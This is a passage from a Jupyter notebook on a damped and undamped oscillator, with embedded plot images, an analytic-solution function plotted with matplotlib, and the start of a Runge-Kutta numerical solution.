FzrgVdzObSJczueURid2BXShwq84hybO8mAk8U/RE\nOohOohd5FgZTgd3JeKvOisZb9wKeN2NTlolWVIs5wCNZb9VZ0f6ZXCbSVVSLYMOio5OYmDxjjPOB\nNRWYSdoiTy0qMbIpQdSiTdSiTS21iE5iYtYB++Y0oS6X8Ere8dacxoHnUkuqYuyZ6mmRZ6uqanmk\nclqkITqJCfBr52wgn41VKjH+u4VfU+lZ3BpLWVO1GuOjwDS/9lbWVKlvBvKdUFepPEK+FalgWkQn\n0Zu8mpC5FAY5xlshauHTxchvk5lcHGaOWryAm4WeR0Wqar+LjcA2YEYOyceWRInJa0x81WrPELVI\nErVoE7VoUzstopPoTRNYmEO6C33amZJjvBVgBVGLFlGLNk2iFi2aVEiLNEQn0ZsVQCOHdBsEeuhD\n0CRq0aJJ1KJF5nnEx/UbPu0qkYcWO+MWGo19EiWlST4ZYCE5ZICc+ySa5JMB5lCh2LOnSfZa7Iab\nO7M+y3ShelrgJo89b8bTGadbRS3m4ebOvJBxuqmITqI3TbJvPs7E7ZO8MeN08yaPEMs83C5sQTLA\nEOShxUJgZYXmzrRoko8WzYzTLIImNdMiOonerAAaGQ9ra5DTQy8g3trIOM0GUYsWDaqpRR4h2QZR\nixYNopMoL762/xzZbrjToJq1pA3Abn5NnaxoUE0tVgOzM55o2aCaWqwAFlalIpUzTaKTGEmaZPvg\nc+mPgHzjrT4MspJsm9O5NaVz1mILru8gy7kSVdViI27nwv0yTLaSeQS3Ftu0jCtSuWmRhugk0pF1\n/LlBNWtJkH3MtUH1RrC0aBK1aBHzCNsrUrXSIjqJdDTJtiXRoJrxVohaJGkStWjRJGrRoklFtEhD\ndBLpaJL9Q69yjbGRYXoNKlhj9EQt2jTJSIsKz5Fo0SQ7LSYRcJlwiE4iLU0yaj7mOUcCco+3QrZa\nTMINgc0lA1RMi6nAnsDDWaQ3nippgdtfZJsZT2aU3hgqpsUc4DEznssovb6JTiIdWdYY9wa25pUB\nCqBJdlrMBR414/mM0iuaJtlpsRBYZcaLGaVXNFnmkQbVbVFBzbSITiIdWc6VaJBjM7qAeGtlMkDU\nok3F4vANqp1HmlREizREJ5ECX+vfimsGD0tVZ5K2eBjY04dHhqXqWqwC5ma0l0LVtchyrkTVtWiS\nXbgpuBbRSaQnq1pjgxwfet7xVh8OWUU2maBBtbV4HrcB0dwMkmtQbS2eArYA+2SQXIMKa4GbdLpH\nRptSNRhFJyHpLZJ+LWmbpGMmuO4MSfdJWibp4iJt7EATOCCDdBpUd9RGiyZRixZNohYtmkQtWhWp\nlWRXqRzJcNM9wPnAT7pdIGkS8EXgDOBw4G2SDivGvI4sBw7KIJ2DgAcySKcjBcRbIWqRJGrRJmrR\nphJapCGIkzCz+8zsNz0uOw5YbmZNM9sCXAWcl791XVkOLMognYOBZRmkE5KoRZuhtfBx/KgFILET\nrmBcnolF4chCiym4IeLNLAwalDL3SYwfP7/avxeKLB76zrhY/kOZWNSBAuKtkI0W03Dx69y2ZKyK\nFrhh0cLtFZ0LFdJiHvCEGc9kYE9HKqTFAbhh0VsysGdgcnMSkm6UdE+Hv3NSJlG2NfWX42p7w7A/\n8HDIiTEZsYzhtTgQeKjC8wJaZFEYLAKWV3AfifFkpkUGtoQmi/KiFFpkMXSvI2b2uiGTWMPYDcUn\n3Ahc0mW0m2VPAne2agytGORwx7vuBM/u64Z+6pWDpAe2C7AsG3s6HyfjrXmk71Lebz5cdYB0ys5m\nbB0svU+8Gj61PA/7xmuQp97AcvjhodLpi822DajnX5wDhzwNv0OOehxlZp/PMX3AlgGLhkxvEXxz\nk/SOxXn9fiV9kMzLh/HH5+wN1y4aUs+DgeU5lA/vcumnC2PJLFzlRdJNwIfN7Fcdzu0M3A+cCqwF\n/g14m5nd2+FaM7Ms17LvYi/3Am8249cDfv4PgSPNeG+2liXvoe2ZK08kVgKvNRssdCbxEWC2GR/K\n1rLkPQrT4lHgcDM2DPj5TwI7m/En2VqWvEf+Wvi+lU245zrQrosSnwGeNOPTmRo35h6FaDEZ2Ajs\nMeiuixJfBJaZ8beZGjfmHr3LzlBDYM+XtAo4HrhO0vX+/bmSrgMws63A+4EbgKXA1Z0cRMEM25xe\nRM6dkwXFWyEbLXJtShesxTChhYOpgRY+XPYAw/0u6qLFFlzkozFEMqUIN4Ua3fRtM1tgZlPNbLaZ\nnenfX2tmb0hcd72ZHWpmi8wst5pFH5S+MCiQYfsl6qRF6R1mgUQt2tSivCjz6KYyMuxDzz0DFDQG\nHKIWSaIWbQbWwoerch/+WhEtpuCWCM9tJGRaopPoj98AhwzyQR+jXEjgiTEZMowWuwH74mal1oFh\ntNgHmAyD9WeUkIG1wBWKTw/an1FChtHiQGD1oP0ZWRKdRH8sxc3+HoSDcA891+GvBcbhh9HiUOA3\nZmzL0J4dqIgWhwFL8x7+WhEtDvefz5WKaHEYBWiRhugk+mMtsKuv/fVLIRmgQB4CZvlWQb/UTYv7\ngUW+tdgvddPiXuAlA64GW5qCMSOW4r7TIJTmdxGdRB/42t69DPbgD/efzZWi4q1mbMXFXA8d4ON1\n0+JZ3EiWQdbqqZsWTwDP4EJH/VJIwVhgn8Q6XKVy5gCfjU6iwgzahCzNQ8+QqEWbQWuNddVi5H8X\nvlJZ+d9FdBL9U+oMUGC8FaIWSaIWbfrWwoenohZs3/v9UOC+XCzqk+gk+qfvmoF/6IdQkoeeIYNo\nsQtuiZXg478z5l76Lwz2AGZQn1FeLQapPc8CtpnxSA72hGQQLRYCj5RllFd0Ev3Td2GAm3W5wYxN\n2ZszlgLjrTCYFofgFvbLfWhfwVoM0pI4DLiviEUOK/C7KCy8ErXoj+gk+mcFMEPqa7/rIyjRQ8+Q\nZcCCPrdprKsW9wKH9DnCqa5a/DtwRJ8jnOqsxUv7/EyptIhOok98re9O4Og+PnYscHs+Fo2lyHir\nbw3cS3+ZoK5abMKFjfoJLdRVi0eBp3ETwtJyDDXUArcnzs4Sc/r4TGG/izREJzEYt+N+1Gk5Bthh\npduaELVoE7Vo068Wx1JDLfwIp0r/LqKTGIxBHnohNYOC463QhxY+/HAMcEeuFm2/X6m12Bk4Etcq\nzZ2SazENN8dkoCX4+6XkWuwF7EeJtrKNTmIwbsfVfHrim5m7UL8RLC1Sa4ELP2wcdN+FCtBP5eEw\n3DItpRjBkgP9/C6OxHXgP5+jPSHpR4ujgbvyXrKmH6KTGIx7gfl+CGMvjgF+VdTWlAXHWwHuBg71\nQ1t7UWgzOoAWdwAv80Oee1F3LX4FHJOy83oktEh5balCTRCdxED4JSnuAY5KcXmpOqGyxi9JsRxX\nG+xF3bV4ElhPupU/667FOmALbl/3XtRaC+BBYA+JfVNcWzotopMYnFuBV6W47lW4rVcLIUC8FaIW\nSaIWbaIWbO+8/jdKqEUaopMYnJuBxRNd4MfMnwj8pAB7QnIzvbWYiqsl/awAe0JyM7212BPXJ3Fr\nAfaE5GZ6a7EfMJeCOvADcjO9tWgAu1KylRmikxicnwAn9pg8dSxudvGjBdkUIt4K8GPgtdKEv6dX\nAfcU2VEbSIubgZN7xOJfA9xaZEdtSC16XLMYuKXIjtoSa3EycHNR/ZdpiU5iQMx4DBdrnGjUwmLg\npkIMCogZq4EncDNFu7GYEdAC1z+zExNPJFvMaGhxNzBTYu4E1yzGFaB155fAQRJ7T3DNYkqoRXQS\nw3EzE9cOTqbghx4o9gyu0Bt5LXwtMGrB9tUJfsLEYZaTKdhhBtJiC/CvwEmdzvuWZ+FapCE6ieH4\nIfC6Tid8DP546t8f0eJHdNdiD9xIsLr3R7SYSIt9gUWUrHMyRybKI/NxE8fuLtSicHTVAjcibmfc\nvtilIjqJ4fghcGyXnadOx82PeLxIgwLFWwGuB06SmN7h3NnAj814pkiDAmrxz8DrJXbtcO484Iai\nN7gPqMW1wDld+u5+G/hu0RPHAmrxT8Abu/TdnQ98u2z9ERCdxFCYsRm4AXhzh9MXANcUa1E4zHgK\n12p6Y4fTo6bFBtzEujd0OD1qWqwEHgBO63B61LS4H3gcN3BhOz7UVFotopMYnkuB30+OZvEhhbOA\nK4s2JmCfBDgt3pN8Q2IeLlMUngFKoMXvJ9+QOAgXdru2aGNKqMVvAQfgKlmFUjYtgJcDe+BGCZaO\n6CSG5/vAboyNNf4X4Ft+U/hR4ru4/SVenXjvI8AVRWy4VDKuAV4qjRn9djHwFTOeC2RTKL4JvFoa\ns/nOx4Av+Q7dUeJy4AxfYWjxMeDvith8ahBkVroQWN9IMjPrZ4OTjO/P+cBngONwtaMbgaPNWBXK\nplBIvAP4KG5exBE4x3GEGeuDGhYAiffgWlYn4X4bVwMvGcHKAxIfxIVlT8WN4vkqTou6LnDYFYmP\nA6cAZ+L66z4HHOaXuCnYlt5l585FGVNnzPi2xPHA/cAk4KJRdBCeb+JGdS3H/b4uHEUH4fkHnHNY\nDkwG3jqKDsLzBeAVuP6JKcBvj6KD8Px3XIjpQZwWZ4dwEGkJ0pKQ9BZgCfAS4BVm1nFBK0lN3A5X\n24AtZnZcl+uCtiTadnAQ8IwZD4ezQYsDjt5I2MHBwFMhlwUvkRaHAo8VOfN+RxvCa+H77V4CrC96\n1N9YO0qjxeHAGr8wZCA7epedofok7sEN+eo1h8CAxWZ2dDcHUSbMeCCkg/CkWZk2d8xYVoJ9I8qi\nxf0hHYQnuBZmmBn3hnQQnrJo8euQDiItQcJNZnYfgJSq8h+8hVAxZoQ2oERELdpELdpELfqg7KOb\nDPiBpNskjR82FolEIpGcya0lIelGYHaHUx83s++mTOZEM1snaV/gRkn3mdkt2VlZSxqhDSgRjdAG\nlIhGaANKRCO0AVUi6BBYSTcBH+rWcT3u2k8Cm8zsbzqcq/443kgkEglAFYbAdjRQ0jRgkpltlLQb\nbi2kP+t0bRlGNkUikUgdCdInIel8Satw4+mvk3S9f3+upOv8ZbOBWyTdidvB65/N7Psh7I1EIpFR\npRYzriORSCSSD2Uf3TQhks6QdJ+kZZIuDm1PSCRdKmm9pHtC2xISSQsk3STp15L+XdIfhbYpFJJ2\nlXSrpDslLZX06dA2hUbSJEl3SEo7eKaWSGpKuttrMeHeJpVtSUiahFsG4zRgDW57wLeZ2b1BDQuE\npNcAm4Cvm9mRoe0JhaTZwGwzu1PS7sCvgDeO8O9impltlrQz8FPgw2b209B2hULSH+O2HJ5uZueG\nticUkh4CjjWznhMbq9ySOA5YbmZNM9sCXIXb0GUk8UODR3VdoO2Y2cNmdqd/vQm4FybcY7nWmNlm\n/3IKbl2x0LOdgyFpPm4J/68QJ+lCSg2q7CTmwZhF9Fb79yIRACQ1gKNxAx9GEkk7+cEf64GbzGxp\naJsC8jnc0vWlXJK7YFJPVK6yk6hmnCxSCD7UdA3wAd+iGEnM7EUzOwqYD5wUeMOdYEg6G9hgZncQ\nWxHgJiofjVuu/A99uLojVXYSa4AFieMFuNZEZMSRNBn4R+AbZvad0PaUATN7CrgOt0T1KHICcK6P\nxV8JnCLp64FtCoaZrfP/HwG+jQvfd6TKTuI24GBJDUlTcHvEFr4tZKRcyK0a+VVgqZl9PrQ9IZE0\nU9IM/3oqbvfEO8JaFQYz+7iZLTCzA4C3Aj8ys98NbVcIJE2TNN2/bk1U7joqsrJOwsy2Au/H7ZG7\nFLh6VEewAEi6Evg5cIikVZLeHdqmQJwIvBM42Q/vu0PSGaGNCsQc4EeJCanfNbMfBrapLIxyuHoW\nfUxUruwQ2EgkEonkT2VbEpFIJBLJn+gkIpFIJNKV6CQikUgk0pXoJCKRSCTSlegkIpFIJNKV6CQi\nkUgk0pXoJCKRHJC0p6T3hbYjEhmW6CQikXzYC/iD0EZEIsMSnUQkkg9/DRzkZ3x/JrQxkcigxBnX\nkUgOSFqIW+5gZDeAitSD2JKIRPIhLkcdqQXRSUQikUikK9FJRCL5sBGYHtqISGRYopOIRHLAzB4D\nfibpnthxHakyseM6EolEIl2JLYlIJBKJdCU6iUgkEol0JTqJSCQSiXQlOolIJBKJdCU6iUgkEol0\nJTqJSCQSiXQlOolIJBKJdCU6iUgkEol05f8DojGtLCUtyl8AAAAASUVORK5CYII=\n", "text/plain": [ "<matplotlib.figure.Figure at 0x10f8ca450>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "def undampedAnalyticSolution(x, Y, wn):\n", " return Y[0] * np.cos(wn * x) + (Y[1] / wn) * np.sin(wn * x)\n", "\n", "x = np.arange(0,5,0.01)\n", "plt.plot(x, undampedAnalyticSolution(x, y0, wn))\n", "plt.title('Undamped System - Analytic solution')\n", "plt.xlabel('t')\n", "plt.ylabel('y(t)')\n", "plt.grid()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "###Numerical solution\n", "\n", "By calling the Runge Kutta function an approximation of the ODE can be calculated: " ] }, { "cell_type": "code", "execution_count": 21, "metadata": { "collapsed": true }, "outputs": [], "source": [ "qsi=0" ] }, { "cell_type": "code", "execution_count": 22, "metadata": { "collapsed": false, "scrolled": true }, "outputs": [ { "data": { "image/png": "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